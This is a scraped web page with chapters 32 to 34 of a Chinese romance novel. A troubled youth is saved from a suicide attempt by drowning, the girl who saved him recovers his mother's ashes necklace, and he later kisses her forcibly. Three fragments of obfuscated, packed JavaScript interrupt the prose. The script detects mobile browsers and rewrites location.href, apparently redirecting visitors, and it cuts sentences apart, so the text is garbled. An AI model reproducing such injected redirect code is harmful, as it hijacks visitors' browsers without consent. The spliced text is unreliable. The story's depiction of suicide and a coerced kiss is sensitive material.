“你听好了,谢劲舟,你欠我一条命,永远不两清!”驰路抬手抹了把脸,试图要擦掉他留下的痕迹,“不过……无所谓,我这就在这儿待一年,一年后就走了,清不清对我来说,不重要。” 谢劲舟扯开嘴角笑了,笑出了声,几乎快要笑出眼泪。 驰路看得莫名。 就连他都不知道在笑什么,是在笑驰路说的“清不清对我来说,不重要。”,还是笑自己永远欠她一条命。 谢劲舟笑得泄了力气,躺倒在草地上,双手撑在脑后,望着天空。 他这才发现,原来天空竟然如此蓝,云朵那么好看,吹过的风,炽热,又温柔。 这是三周以来,他第一次好好感受这人间,离自己那么远,又那么陌生。 只有他唇上残留的热度,在提醒他,他还活着,他没死成。 谢劲舟舔了舔唇,狠狠咬住,咬疼了,冒出血珠。 “谢劲舟,你又发什么神经?”驰路看到他又开始作践自己,连忙弯腰用食指抵在他的唇间,“你要是难受,咬我吧。” 她看到谢劲舟咬住下唇的动作一顿,随即如同恶犬般,叼住她的手指,狠狠地咬了一口。 疼意漫上指尖,驰路却生生忍住,没有哼一声,只是蹙紧了眉头。 她没有抽开手,与他对视。 她从他的眼里看到了破败不堪的灵魂,仿佛曾经的自己。 他的眼里布满颓丧,眼睛下方一片乌青,右侧雾霾蓝的刘海耷拉在额头上,显得有些狼狈,却依然掩盖不了他的痞帅,是一种多了破碎感的帅。 驰路看着他松开唇,又要咬上,她依旧岿然不动地蹲着,淡定地接受他的啃咬。 这一次谈不上啃咬,像是轻抚,舌尖掠过方才被他咬过的地方,一寸寸扫过,潮湿又滚烫。 她的心没来由得乱跳,宛若刮起了一场风暴。 驰路抽回手,看到了食指上的牙印,月牙形状。 谢劲舟坐了起来,径自拉过她的手,看着她食指上的牙印,哑声问:“疼不疼?” “谢劲舟,你如果在乎我的感受,我现在告诉你,”驰路说,“我疼不疼不重要,重要的是,你别再作践自己!你看看你都成什么样了!你不是芳町镇的大佬吗?有你这样的大佬吗?你知道你现在像什么吗?” “像什么?” “丧家犬。”驰路说得笃定,心间却抖着,“像一只没人要的丧家犬。” “没人要?”谢劲舟嗤笑,捏住驰路的下巴,锁住她的眉眼,“你不是没有放弃我吗。” “我这是赶巧碰到你自/杀,如果没来呢,你现在……”驰路的声音渐渐喑哑,眸子沉下去,想要说的话,却怎么也说不出口。 她不敢去想,如果她没来会怎样,如果她刚才没救回谢劲舟会怎样。 谢劲舟见不得她这副模样,没了骄傲,只有感伤。 捏住她下巴的手,移到她的脸上,一下一下抚摸着她的脸,没了往日的狠厉,每一下都出奇的轻柔。 谢劲舟努力挤出一抹笑,沉声说:“阿驰,对不起!” 多久没说出的“对不起”,在这个烈日当空的盛夏时节,终于只说给一个人听。 “你打算怎样补偿我?”驰路颤抖的心渐渐平息,看向他的眼睛。 那双眼睛里有笑,却笑得像寒风里的残烛,摇摇欲坠,即将熄灭。 32. 小蝴蝶死里逃生 「你消失在我视线,万物不再复兴,世界都在哀鸣。 你说我是疯子,你也是。 但我喜欢疯子。」 ——《不夜港》 驰路并没等到谢劲舟的补偿,反而又被他带入另一重着急、慌乱的境地。 这要源于谢劲舟发现自己的黑绳项链丢了。 他发现的瞬间,驰路看到了他脸上露出紧张、焦躁、慌乱的神情。 “这条项链,对你很重要吗?”驰路看到他跟谢林乔都戴着同一条项链。 谢劲舟没有回答,疯了一样,沿着河岸找,拨开这丛野草,没有,拨开另一丛野草,也没有。 他不停地在期待和失落间游荡。 找到最后,谢劲舟近乎匍匐在地,像一只四脚朝地的野狗,一步一步往前挪。 在哪里? 项链,在哪里? 他在心里一声声呐喊着,希望在某处草丛中找到。 驰路在后面跟着,看着乱找一通的谢劲舟。 他看起来很可怜,像丢了最重要的珍宝。 “谢劲舟,你能不能别这样了!”驰路见不得他这副低到尘埃里的样子,上前拽住他的胳膊,“不就是一条项链吗,丢了可以再买。” “你懂什么!”谢劲舟愤然甩开她的手,不再看她一眼,继续找着,边找边喃喃道,“买不到,去哪里都不会买到。” “为什么?”驰路着实不解,不就是一条项链吗,看起来也没多特别,怎么就买不到。 “全世界只有一条。”谢劲舟停住,转头看驰路,目光里露出难得的显而易见的痛楚,“项链里装着我妈的骨灰。” * 驰路第一次听到有人将亲人的骨灰做成项链。 项链不再是普通的项链,是对亲人的纪念。 方才她的心思并未放在找项链上,更多的是放在谢劲舟身上,现在不一样了,她也跟着一起找项链。 岸边杂草丛生,夏日水多,湖水漫到岸边。 驰路沿着方才拖拽谢劲舟上岸的反方向走,一路细细寻找,却没找到。 她看到谢劲舟找得满头大汗,满脸焦急和狂躁,继而不动了,久久地不动,像一尊雕像。 随后,他重重捶地,一下一下地捶着,发出声声闷响。 驰路的心脏猛然紧缩,连忙上前,拽住他的手,看着垂着脑袋的他,像极了一只战败的丧家犬。 “谢劲舟,还没到最后,不能就这样轻易放弃。”驰路紧紧地拽着他的手腕,没松开,看到了他手背沾了的草渍和泥土,遮掩下的手背,泛着红,几乎要渗出血来。 谢劲舟依然没动。 她看到有什么滴落在草地上,那么晶莹。 是他的眼泪。 驰路看得心里泛酸,松开他的手,不再言语。 她拨开岸边的草继续找,余光瞥见谢劲舟忽然动了,作势要往湖里跳。 驰路一惊,急忙跑上前,从他身后抱住他,吼道:“谢劲舟,你刚呛了水,死里逃生,你还想找死吗?” 字字铿锵有力,谢劲舟却仿若未闻,目视着湖面,一点一点地掰开她的手指,却没想到她抱自己抱得那么紧,死死地抱着。 就在谢劲舟想要用力推开她时,她却松开了他。 谢劲舟看到驰路毫不犹豫地跳入水中,纤薄的身板很快沉入湖底,不见影踪。 他往前走了两步,想要跳下去,却收了回去。 他骨折的右腿还没好,方才沉入湖底又抽了筋,他不能再成为她的负累。 谢劲舟继续往前走,直到湖水没过膝盖才停住,看着漾起波纹的湖面。 他知道,湖面下,有一个姑娘,正竭尽全力地帮他找骨灰项链,那条对他而言,几乎等同于命的项链。 * 波纹在哪里,谢劲舟就去哪里。 他要去离她最近的地方,等她。 等待的每分每秒都很难熬,担心项链是不是沉入湖底,再也找不到,更担心湖面平静下来,帮他找项链的人没有动静。 在两重担心下,谢劲舟发现,项链重要,但驰路更重要。 忽然,谢劲舟看不到任何波纹了,一下子慌了,大声喊:“驰路,驰路!” 他的声音在空旷的天地间回荡,却没人回应他。 “驰路,你快出来!”谢劲舟继续喊,“你不是要做老子的信徒吗!老子允许你消失了吗!快出来!” 天地一片寂静,偶尔的几声鸟鸣让他烦躁不已。 他的心骤然跌入谷底,好像有一双手,在紧紧拽着他的心脏,用力捏着,捏出湿漉漉的血珠。 谢劲舟胡乱地往湖的深处走去,完全不顾自己未好的伤腿,沉入湖底,游往深处,没有她的身影,焦躁又添了一分。 他像海底横冲直撞的鲨鱼,拨开水草,希冀着能早日见到他想守护的信徒。 驰路,你在哪里? 无数个这样的声音,在他的心头回荡。 在一片纵横交错的水草间,他拽住了什么,纤细的,瘦弱的,上面有酒红色的文身,文身上有字母,还有一只侧着飞舞的小小蝴蝶。 我抓住你了,我的蝴蝶! * 谢劲舟游上前,看到驰路手里正举着一条黑绳项链,笑着看他,笑容明媚得像三月天。 他第一次发觉,原来这世界也不总是乌云,人间也不总是空荡荡,静心山也不总是荒草丛生。 荒芜的干涸地会发芽,空荡荡的人间会开花,破碎的世界还有光,将命运照亮。 他的光,好像来了。 他游到她身边,紧紧地抱住她。 两人离得很近,近到脸颊贴着脸颊,谢劲舟右耳骨上的耳桥贴着她的耳朵。 他们像缠绕在一起的水草,呼吸相融,恣意生长。 他拽着她,一起上岸。 * 从湖底上来,两人换了一身干净的衣服。 驰路穿着谢劲舟宽松的黑色T恤,下面穿着一条男士短裤,T恤很长,盖住半截短裤,露出她纤长笔直的腿。 她发现谢劲舟的眼睛在她身上看了好几遍,笑道:“没看过女生这么穿?” 确实没看过,这样的驰路他头一回见,不再穿着紧身衣的她,有着天然的松弛感,像不慌不忙绽放的百合花,纯洁无暇。 “谁没见过!”谢劲舟嘴上不承认,眼睛却很诚实,但很快收回。 “你等我会儿,我把绳子编好给你。”驰路往外走。 “站住!”谢劲舟拽住她,查看她的右手,手心里有几道血痕,“怎么弄的?” “救你时,你被水草缠住了。”驰路不在意道,“没事,不疼。” 怎么可能不疼,破了好几道口子,血也流了不少,手掌闭合间,总会袭来一阵钻心的疼。 谢劲舟没回答,而是转身从沙发上抄起一件白色背心,暴力地撕开一条。 他拉过驰路的右手,用布条一道道缠起来,最后打了个结。 这儿没有药,他能想到的唯一办法,也只有这个了。 …… 黑绳项链找到时,绳子断了。 驰路发现这绳子其实不太结实,没有任何编织,只是在最后面打了个结。 既然是他很重要的物品,她希望他可以一直戴着,再不弄丢。 她提议重新给他编个,但目前的线不够。 谢劲舟却给她找来了黑线,看起来又粗又结实。 驰路找了棵遮阳的树,坐在草地上,靠在树下,借着打过来的些微阳光,编着项链。 她不知道,谢劲舟一直没进屋,懒懒地靠在门旁,抽着烟,隔着袅袅升起的烟雾,静静地凝视着不远处的她。 她编项链的样子,认真,又迷人,似浸泡在酒里的秘果,香味浓醇。 谢劲舟抽完一支烟,朝她走了过去,右腿走得并不利索。 * 谢劲舟走向她的每一步都很慢,像是不想打扰她。 树下的她,披散着齐肩发,头发还没干,显得越发黑亮。 她的齐肩发跟旁人的不一样,是那种一刀切的利落发型,带着点攻击性,让她看起来像个小太妹,不太好惹。 他走到她身旁,没有坐下来,而是靠在树上。 从这个角度,能更好地看到她的全貌。 她很漂亮,跟芳町镇上的其他女生都不一样,漂亮得纯粹,又漂亮得张扬。 谁都没穿过他的衣服,看到驰路一身都穿着他的衣服,有种异样感,像有虫子在他心尖上挠着。 “编好了。”驰路将项链举到谢劲舟面前,示范道,“后面可以调长短,戴的时候可以根据衣服的类型来调。” 谢劲舟没接,而是坐到草地上,背对她,一副让她帮戴的大佬模样。 驰路本想说“你没手吗,自己不会戴吗”,但看在郁期的谢劲舟份上,这样的话,她没忍心说出口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560749|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 罗子昂是来让她救人的,她好歹也要乖一回。 驰路把项链拉长,帮他戴上,过程很顺,很快戴好,长度到他胸前。 谢劲舟换了件宽松黑色背心,黑绳项链的吊坠是一枚锆石,里面黑白相间,如连绵的山。 驰路之前看过,这枚吊坠在暗夜里会发出幽蓝的光,如夜晚猫的琉璃眼,有种诡异的美。 她之前听谢奶奶说过,谢母在谢劲舟高一的时候去世,对他和小乔的打击很大。 对谢劲舟而言,那段时光,一定很难熬吧。 驰路从没问过谢劲舟关于他母亲的事,他也从未提起,此时,他只是摸着锆石,陷入沉思。 随后,谢劲舟旁若无人地将锆石放在唇边,吻了很久很久。 半晌,驰路才听到他说:“谢谢你,阿驰。” 谢谢你救我,谢谢你帮我找到项链。 “谢劲舟,如果你要谢我,就给我好好活着!”驰路靠到树上,侧头看他。 “驰路,你是不是误会我了?” “误会?” “我那是被水草缠住了,没法游上去。”谢劲舟掏出打火机,点燃一根烟,狠狠地吸了几口。 他没说谎,但他又说谎了。 他确实是被水草缠住,没法上岸。 但他跳入湖中,在湖里游了一圈又一圈时,最后潜入湖下,越潜越深,看到一尾尾鱼,看到茂密的水草。 湖底世界,充满生机。 但他的心,却是一潭死水。 这周,他趁着腿好了些,天天游泳。 好像只有在水里,他才是放松的,才是自由的。 但这天,他越潜越深时,才发现湖底是暗的,与光绝缘。 “老子跟你说,你恨我恨错人了,你要恨就恨你自己,如果不是你,你妈会死吗?你妈就是你害死的!你才是该死的那个人!你怎么不去死!” “看老子今天不打死你!” “你就烂死在这里吧!” 谢鸿运的话一遍遍在他脑中回荡,让他原本晦暗的心掉入深渊。 他希冀的世间温柔、流星璀璨,不过繁华一梦。 朝阳注定无法在黎明前降临。 而他,注定属于黑暗。 就这样沉沦吧、坠落吧。 与这个世界,完全割裂吧。 他不属于任何人,任何人也不属于他。 他早该离开这个世界了,在两年前,不是吗? 他是罪人,他本不该继续活着。 这两年,不过是他偷来的时光。 谢劲舟放弃了继续往前游,身体漂浮在湖里,任由湖水将他推去任何一个地方。 空气越来越稀薄,呼吸越来越困难。 他什么也不想,什么也不顾,眼前好像闪现出了老妈的脸,对他笑着,笑着跟他说:“小谢,你终于来找妈妈啦,妈妈等你很久了。” 但很快,他又看到老妈拉下脸,气道:“小谢,你这是做什么?快游上去!赶紧回去照顾奶奶、小乔!” 对,他不是一个人。 他还有奶奶、小乔。 还有……驰路。 他不能就这样离开,他的生命不应该就这样走到尽头! 求生欲猛然升起,他想浮出湖面,却发现自己的脚被东西缠住,努力挣脱却挣脱不开。 长时间浸在湖底,他得以呼吸的氧气越来越少,意识越来越模糊。 他没有放弃抵抗,游到水草处,拼劲全力想要弄开水草,却发现力气小得可怜。 他感到史无前例的无助,眼前也越来越模糊。 渐渐失去了所有力气。 他以为这里会是他的葬身之处,却没想到他会被救起。 这些谢劲舟不会告诉驰路。 驰路从地上拿起他的烟盒,抖出一根烟叼上,对着他叼着的烟,烟尾相碰。 须臾,点点星火跃上她嘴里的烟。 烟雾在两人之间缠绕,呼吸融为一体。 他们望着对方,眼眸深沉又迷离。 天地辽阔,他们只有彼此。 隔着雾气,像在接一场漫长的吻。 这场看似浪漫的梦很快被谢劲舟打破,他移开,瞪着驰路:“你这是什么毛病!勾引我?” “谢劲舟,别自以为是,谁勾引你!对个烟而已,算个屁的勾引!”驰路朝他的脸上吐了个好看的烟圈,“还是说,你对我有意思?” 33. 互相撩拨 「喜欢是什么? 是无数次在他眼睛里沉沦,还是心脏跳了一万次? 大概是灵魂深处长出了银河和宇宙,闪亮的,耀眼的,盛大的。」 ——《小蝴蝶的盛夏》 谢劲舟见过的妩媚女人不少,谁在勾引他,谁在跟他调情,他一眼能分辨。 驰路的对烟、吐烟,别的女人也对他做过。 之前,他很厌恶别人这样对他,常常只要对方即将凑过来,他就毫不掩饰地避开,明确地跟对方说他不喜欢。 然而,驰路成了他生命里唯一的例外。 在家里的阳台,她坐在懒人藤椅上,会一把拽住他的衣领,叼着烟跟他对烟; 在阳台的栏杆前,她背靠着栏杆,踮起脚,眯眼跟他对烟; 在人烟鲜少的小巷里,她靠在他的摩托车旁,对完烟,朝他脸上,吐出一个又一个烟圈 …… 人前,她乖得要命,只有在他面前,才会露出肆无忌惮的一面。 他知道,这才是真实的驰路,叛逆的,嚣张的,骨子里透着傲劲儿。 她不像别的女人贴着他、缠着他,她跟自己的距离,总是若即若离。 好像,她希望你靠近,却又不让你靠近,故意勾着你、钓着你。 她是暗夜里起舞的斑斓蝴蝶,勾人心魂,极具魅惑。 他无法扑灭这只蝴蝶。 她飞进他烂泥般的世界,像玫瑰开满了荒原。 谢劲舟没有回答驰路,而是弹了弹长长的一截烟灰,重重吸了一口,吸完在树上摁灭。 转身从驰路手里夺过烟,肆意地抽起来,凑近驰路,朝她的脸上也吐出一个好看的烟圈。 谢劲舟并没有就此罢休,烟圈吐了一个又一个,青灰色的烟雾直往驰路脸上、鼻子里扑,雾气越来越浓,呛得她咳嗽起来。 驰路想往后躲,却被谢劲舟一把掰住脑袋,逼迫她看着自己。 咫尺间,彼此的眼里都有一股暗涌的浪潮。 谁都不说话,谁也不认输。 是强者与强者之间的较量。 烟雾越来越浓,笼着他们,谢劲舟却还在一个劲儿地吐烟圈,动作张狂,仿佛在说“你服不服软”。 驰路忍住喉间的难受,让自己憋着,不动声色,好像这样,自己便不会输。 “你强盗啊,自己不会再点一根吗!”驰路打破了这份诡异的宁静,伸手要去夺他嘴里的烟,谢劲舟却侧头一躲,嘴巴里潮潮的,沾染着属于她的味道和气息。 直到他抽完这根烟,驰路才听到他说:“驰路,我对你有没有意思,你不知道?” 驰路站了起来,俯视着他:“你对我有没有意思,我不在意。因为,浪子的喜欢,是坑蒙拐骗,谁当真谁就输了。” 谢劲舟忽然勾了勾唇角,露出一道痞笑:“清醒的人,总比迷糊的人,活得通透。” * 静心小屋里东西很少,没有厨房,只有一台电磁炉,插上电,便可以做一顿凑合的饭。 驰路当上了贤惠小妹,煮着一锅热气腾腾的面。 谢劲舟原本是赶驰路走的,但驰路看他的状态很不对,情绪低到不行,一个人窝在沙发上玩贪吃蛇游戏,玩累了,就躺在沙发上睡。 她没走,理由是:“我不希望,你死在这里。” 谢劲舟却说:“死了也挺好。” 死了,就一了百了,什么都不用想了。 这世上的一切苦与难,再与他无关。 他要换个地方渡劫,即使下地狱也没关系。 不过,经过这次的劫后余生,谢劲舟忽然有些怕了,不是怕死,而是怕他死了,奶奶怎么办,小乔怎么办。 还有,眼前的这个小姑娘,会跟什么样的人交往,一定不能找他这样的烂人。 他不想死了,他想活着,哪怕活得苟且。 就先这样吧,命运本就破碎,他做不到完整。 …… 煮完面,驰路想捞面时,手机响了。 她看了眼手机屏幕,是许婉打来的。 “阿驰,你晚上有没有时间?” 驰路看了眼窝在沙发里的谢劲舟,他没动,看起来睡得很沉:“有什么事吗?” “带你去个好玩的地方。” 驰路的视线一直停在谢劲舟身上,落在他的眉眼间,没有什么犹豫地跟许婉说:“我作业还没写完,就不去了。” “好吧,那下次一起去啊。” 挂了电话,驰路盛了两碗面,沙发上的那位大佬还没动。 驰路走过去,推他的肩膀,他蹙了蹙眉,依然没动。 “谢劲舟,”驰路加大了力道,边推他边说,“起来吃面。” 谢劲舟这才懒懒散散地睁开眼,醒来的第一件事便是拽住她纤瘦的手腕:“有你这么喊人的吗!知不知道什么叫温柔!” “对你,有必要吗?”驰路看着他握着自己的宽大手掌,他的手心有些凉意,窜入她的腕间,腾起细细密密的电流。 她甩开他的手,压住扑腾上窜的心跳,转身坐到沙发上,挑了一筷子面,吹了几下吃起来,当作什么都没发生。 谢劲舟撑着沙发坐起来,靠在沙发上,双手交叠着枕在脑后,盯着驰路的后脑勺看。 别说,这个小姑娘即使穿着他宽松的T恤,即使只看她的背影,依然是漂亮的,有一种说不上来的特殊气场。 驰路感到来自后方的注视,却没扭头看他:“看够了吗?看够了快来吃面,要不然要坨了。” 谢劲舟慢慢悠悠地回:“急什么,现在吃多烫,等会儿。” 他这天什么都没吃,已经饿得不行,但他想这样多看会儿驰路。 之前来过静心小屋的人,只有罗子昂,还只来过一回,待了没几分钟就被他赶走了。 他喜欢独自静静地待在这里,空无一人,把自己放在天地间。 什么操/蛋的生活、操/蛋的谢鸿运、操/蛋的校园暴力,统统远离他。 好像逃离到这里,就能庇护他安宁。 这里是他的静心地,也是他的桃花源,是他一个人的领地,他不允许任何人进犯。 可驰路来了,非但不让他抵触,还让他产生一种“有个人陪自己也挺好”的感觉。 这感觉如此真切,真切到他想抓住,想用眼睛记住,记住这一刻,她在他的桃花源开出新的枝丫。 静谧到让他觉得孤寂的人生,好像多了一抹色彩,不浓不淡,刚刚好。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560750|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >两人一起并肩吃面时,有一缕阳光透过蒙了尘的窗户照进来,笼了他们一身。 谁都不说话,一个吃面时发出吸溜声,一个吃得斯文。 他们的余光时不时偷偷瞥向对方,可谁都不知道。 靠得近,彼此的胳膊偶尔会擦过,微凉碰触暖意,勾起少年心跳,不惊天动地,却绵延不绝。 驰路望着他的手臂,离自己时近时远,不知有意还是无意。 她的心有些乱,也有些烦躁,干脆往旁边挪了下,但谢劲舟也往她旁边挪。 她继续挪,他也跟着挪。 驰路终于忍不住发话:“谢劲舟,你做什么?知不知道你现在这样,一个劲儿往人身上贴的样子很像哈巴狗。” 谢劲舟喝完最后一口汤,放下碗筷,侧头,好整以暇地看驰路:“合着我在你这儿就只能当狗?那你知不知道,狗不只是会贴人,还会……”他凑到她的耳边,故意呼出几口热气,“咬人。” 驰路被耳畔的热气弄得发痒,真想移开,耳骨却被人刁住,是温热的触感。 她僵住的瞬间,被他钻了空,咬住她的耳骨,留下一圈浅浅的牙印。 “谢劲舟,你能不能消停点?”驰路一把推开谢劲舟,愤愤地看他,胸腔里的那股气积着,发不出去。 驰路一个念头迅速闪过,靠近他,俯身也咬住他的耳骨,狠狠地咬了一口。 她是睚眦必报的蝴蝶,不会轻饶谁。 咬完她开始害怕,怕谢劲舟会拎起她,把她扔出去。 驰路的表情控制极好,仍是那个看起来不可一世、高高在上的驰大小姐,脸上未见分毫害怕。 她瞪着谢劲舟,目光无所畏惧。 她看不见谢劲舟脸上有任何表情,仍是他一贯的冷漠神色。 不过,她还是看到他的眸子沉了下来,晦暗又犀利,像夜晚的猎豹,即将捕食猎物。 驰路强自镇定,做好被他撕咬的准备。 结果,什么都没有发生,反而看到谢劲舟笑了,捏了捏她的下巴说:“阿驰,你胆子肥了啊!是不是我太惯着你了!” 驰路紧绷的神经稍稍放松下来,抬手抚上他捏着自己下巴的手背,一点点上移,勾起她那双妩媚的狐狸眼,笑着说:“舟哥,我不过是礼尚往来。” “好一个礼尚往来!”谢劲舟捏着她下巴的手紧了紧。 谢劲舟的手背传来一阵阵痒意,似有无数根羽毛扫过,痒意漫到心间,激发他最原始的欲望,直接把驰路按压在沙发上,双手抵着她的双肩,“我送你一份大礼。” 驰路见谢劲舟俯身要来咬她的耳朵,知道他又要发疯,一个劲儿地躲避。 “躲什么,老子给你的,你就受着!” 驰路双手抵在他的胸膛上,推开他,嗤笑道:“谢劲舟,你对你的月抛女友们,都是这样?你知道你现在像什么吗?像发情的泰迪!” “……”谢劲舟的眸子沉了下去,舌尖顶了顶后槽牙。 她以为这样激他,他就会放过自己,却没想到,双手被他单手按压住,高举过她的头顶,以一种完全被他侵占的姿势躺着。 谢劲舟处于上风,像要证明什么,锁住她的眼眸,一字一句道:“老子现在就让你看看,什么叫泰迪!” 34. 小蝴蝶好害怕 「白昼与黑夜无法共存。 就像我和你不能靠得这么近。 因为你的每一次呼吸,都像在与我共享心跳。」 ——《不夜港》 发了疯的“泰迪”近乎可怕,谢劲舟毫不客气地碾磨着驰路的唇,重重的,激烈的,如一场突如其来的风暴,猛然冲进驰路的世界。 驰路越挣扎,他吻得越厉害,每一下都是那么霸道,带着强势的进攻,不容她后退。 他们都睁着眼,都清醒地看着彼此,眼里都透出不服输的劲儿。 驰路感到身体里的每根血管都被激活,酥麻感爬过每根经络,跳动着的,奔涌着的,是她那颗出自本能的心脏,一下一下,咚咚咚地跳得厉害。 热意冲破她的身体,一时忘记要推开他,被动地承受他的吻,任由他进军她唇里的每个角落。 理智回笼,驰路伸出利齿,恶狠狠地咬中他的舌尖,血珠在两人唇齿间蔓延。 谢劲舟依然没打算放过她,进行着比之前更疯狂的掠夺,像一只疯了的野兽。 他抵着她的身体。 再这样下去,怕是自己要丢了清白。 她不是什么好人,但也没堕落到可以随便献/身。 “谢……劲……舟……”驰路每个字都说得艰难,每说一下,都要被他狠狠地吻住。 她的双手被他牢牢禁锢住,她挣扎着,却挣脱不开,最后不得已抬腿踢他的小腹,每一下都收了力。 刚踢了两下,谢劲舟忽然松开了她,另一只手箍住她的双膝,俯身,咬牙道:“驰路,你下次再敢招惹我,看我怎么收拾你!” 他松开了她,转身去卫生间冲凉水澡,试图冲掉满身的燥热,却越冲越热。 脑中闪现的是方才驰路睁眼看他时的神情,倔强的,抵抗的,又有点可怜兮兮的。 他的心里涌动着一股莫名的情绪,在他胸腔里横冲直撞。 他想克制住,却久久不能平息。 谢劲舟冲了很久的澡才出来,随意地擦了擦头发,额前刘海上还在滴着水珠。 出来时,驰路不在了。 他的心瞬间往下坠,坠入无人荒野,空落落的。 他想留住什么,却终究没留住,还把人给吓跑了。 他把自己重重地摔进沙发里,看着沙发右侧被坐乱的痕迹,抬手抚上去,沿着痕迹摸了一遍,上面似乎还有余温。 属于驰路的余温。 * 这座静心小屋建在半山腰上,驰路愤然下山时却迷了路。 没有开垦的郊区山坡,没有任何指示牌,她只能凭着感觉往下走,不多时,夕阳落山,乌云密布,整片天幕弥漫起一阵雾气,看样子要下雨了。 她没带伞,下了山也没有任何交通工具可以到芳町镇。 罗子昂送她来之前跟她说,她要回去前给他发信息,他来接她。 其实,她并没打算离开,如果谢劲舟没有那么无礼地对她。 她来的时候想好了,趁着周六日,好好陪他,连作业都带过来了。 想到作业,驰路才发现刚才走得匆忙,只带了手机,其他东西都落在静心小屋了。 现在回去拿? 但她并不想面对那只疯狗,想离他越远越好。 他是有病,但有病不是他肆意妄为的理由。 算了,不回去了,回去再买吧。 驰路继续往下走,走了几步停下来,想给罗子昂打电话,却发现手机电量只剩下5%。 一向镇定的她,忽然有点慌,连忙给罗子昂拨电话,第一次,没接通,第二次,依然没接通。 手机电量从5%,降到3%,屏幕两次弹出电量低要充电的提醒。 驰路一阵焦躁,给谢劲舟打电话? 不,她不要跟他低头,也不想理他! 驰路再次给罗子昂拨电话,忽然听不到嘟嘟声,以为接通了,刚说了一声“喂”,结果没听到对方有任何声音。 她看了看手机屏幕,发现黑屏了,忍不住爆了粗口。 她举目望去,周围已被水雾笼罩,眼看就要下雨了。 该往哪里走?要到哪里去? 驰路感到一阵茫然。 她继续往前走,看不见前路,如盲人摸象。 走了没多久,下起豆点大的雨珠,雨越下越大,山路越来越滑。 驰路不得不走得慢下来,几次差点滑倒,努力支撑身体,才勉强没有摔下来。 但运气总不会那么好,看不见的苔藓处,下了雨更加湿滑,终究还是摔了,重重落地,屁股几乎要摔得开花,手下意识撑地,手心被磨破了皮。 雨雾蒙了双眼,眼睫上挂满水珠,前路越发难行。 果然下山难,下雨天下山更是难上加难。 驰路却没放弃,拍了拍手心的污泥和沾上的绿色苔藓,继续往山下走,却不知走了一条弯路,距离下山的路途变得更远。 沿途有带刺的植物,几乎跟她差不多高,多次划过她裸露的手臂,手臂上被划出了一道一道红痕,有的渗出血珠,跟雨水融为一体,又随着大雨滚落。 头顶开始电闪雷鸣,驰路忽然慌了、急了,像有厉鬼在她背后索命,她不要命地往前奔跑,双手捂住耳朵,好像这样就可以跟这个鬼天气隔绝。 然而,雷声震耳欲聋,闪电从天空划过,毫无人情味地落下,让驰路越发害怕,根本无心关注脚下的路,结果摔了好几次。 她不管脚伤、腿伤,依旧像没事人一样奋力地往前奔跑。 曾经的那些黑暗过往在她脑中乍现,她感到无助、恐惧,陷入巨大的惶恐中。 她好想有个归处,最好这个归处叫“家”。 可是,她什么都没有了。 她被人遗弃在这个叫“芳町”的小镇,现在还被困在暴雨中。 她该怎么办?她要向谁求助? 她又摔了一跤,成功地把脚踝崴伤了,刚想继续站起来,忽然又坐下,呆呆地望着几乎密不透风的雨雾,紧紧地拽着手机,弄疼了手心里的伤也全然不顾。 驰路忽然笑了,扯着嘴角,露出苦涩的笑。 她知道没人来救她,在这个将夜的暴雨中,她要被雨水一遍遍浇灌,被闪电一次次射穿,被雷声一声声击中。 她是雨中的瓮中之物,茫然无措,无法逃脱。 她不再挣扎,躺在了覆盖着长长杂草的山路上,瀑布般的雨水从天空砸下来,悉数砸在她脸上、身上。 她迎接着暴雨、闪电、雷声。 眼睁睁地看着它们要将她砸穿。 如果这次是毁灭,就让毁灭来得更猛烈些吧。 她有些体会到溺水时谢劲舟的想法,想挣扎却无力挣扎,想挣脱却无法挣脱,有一种你想对抗命运却对抗不了的无力感。 这样想时,驰路竟出奇的平静,因为她知道,她不是躺在山路上,而是躺在墓地里。 * “驰路!驰路!” 啪嗒啪嗒的雨声里,驰路好像听到有人在竭力地呼喊她的名字,每一声都仿佛用尽了此生力气,在空旷的山谷间久久回荡。 这是一场美梦吧? 这样的鬼天气,会有谁来找她? 但喊声未停,驰路一睁眼,映入眼帘的是一道闪电,吓得她惊呼出声,灵魂归位,恐惧肆虐。 她腾地坐起身,闭上双眼,耳边却又响起滚滚惊雷,她不得不捂住耳朵。 她把自己蜷缩成一团,像一只受伤的小刺猬。 不看、不听,好像就不存在。 但掩耳盗铃的做法并没有减少她的恐惧,一帧帧往日画面从脑中掠过,她害怕地哭了起来。 她好像听到脚步声,越来越近,近得她越发害怕,有人要强行喂她食物了吗?要将鞭子抽打在她身上了吗?要对她进行无止尽的羞辱和虐打吗? 驰路的身体开始颤栗,随着脚步声的走近,颤得越来越厉害。 “不要过来,不要过来……”驰路害怕地低声呢喃。 她感到头顶的雨消失了,有瞬间的愣怔,缓了缓心绪,从埋着的膝盖里抬头。 映入眼前的是一双黑白色的板鞋,鞋面上已经沾满了雨水、淤泥、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 